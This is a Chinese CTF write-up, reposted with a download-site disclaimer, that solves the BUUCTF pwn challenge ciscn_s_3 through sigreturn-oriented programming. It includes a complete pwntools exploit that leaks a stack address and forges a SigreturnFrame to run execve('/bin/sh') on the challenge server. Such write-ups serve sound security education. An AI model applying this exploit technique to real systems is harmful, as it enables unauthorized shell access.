【基础SROP】【Write-up】BUUCTF ciscn_s_3

原题链接

checksec查看程序架构

$ checksec --file ciscn_s_3
[*] '/home/peterl/security/workspace/ciscn_s_3/ciscn_s_3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ida查看程序伪代码

202210120929012022-10-12-09-29-02

202210120929442022-10-12-09-29-45

这里有两个syscall用于读写,已经很明显地暗示要用syscall了

接下来它又提供了一个gadget函数,明显是要为sig_return做好前置工作(设置RAX)

202210120932312022-10-12-09-32-32

那么我们的思路就很简单了,先调用sig_return,这样它就会把接下来我们安排在栈上的上下文作为接下来要恢复的上下文,这样我们就可以安排系统的寄存器了

构建exp

首先第一次运行的时候会打印出来rbp的地址,为了让程序再运行一遍,我们将ret地址设置为vul函数的地址:

stack_offset = -0x118
write_offset = 0x20

p.clean()
p.send(b"a"*0x10 + pg(m_elf.sym['vuln']))
p.recv(write_offset)
bin_bash_addr = u64(p.recv(8)) + stack_offset

通过调试时的偏移计算,我们就获得了栈地址

然后我们就可以通过pwntools的自动化工具构建sig_return后恢复的上下文了

sig_ret_gadget = 0x4004DA
syscall_ret = 0x400517
# 使用pwntools的自动化工具构建我们想要的上下文
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_bash_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
success(str(frame))

然后按sig_return+上下文的格式发过去就可以了:

p.send(b"/bin/sh\x00"*0x2 + pg(sig_ret_gadget) + pg(syscall_ret) \
    + bytes(frame))

完整exp

from pwn import p64, p32, u32, u64
from LibcSearcher import LibcSearcher

pss: bool = True
fn: str = "./ciscn_s_3"
libc_name:str = "/lib/x86_64-linux-gnu/libc.so.6"
port: str = "28554"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, "break main")
    else:
        p = process(fn)

# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

stack_offset = -0x118
write_offset = 0x20

p.clean()
p.send(b"a"*0x10 + pg(m_elf.sym['vuln']))
p.recv(write_offset)
bin_bash_addr = u64(p.recv(8)) + stack_offset

p.clean()
sig_ret_gadget = 0x4004DA
syscall_ret = 0x400517
# 使用pwntools的自动化工具构建我们想要的上下文
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_bash_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
success(str(frame))

p.send(b"/bin/sh\x00"*0x2 + pg(sig_ret_gadget) + pg(syscall_ret) \
    + bytes(frame))
p.clean()
p.interactive()

原文地址:http://www.cnblogs.com/peterliuall/p/16828444.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性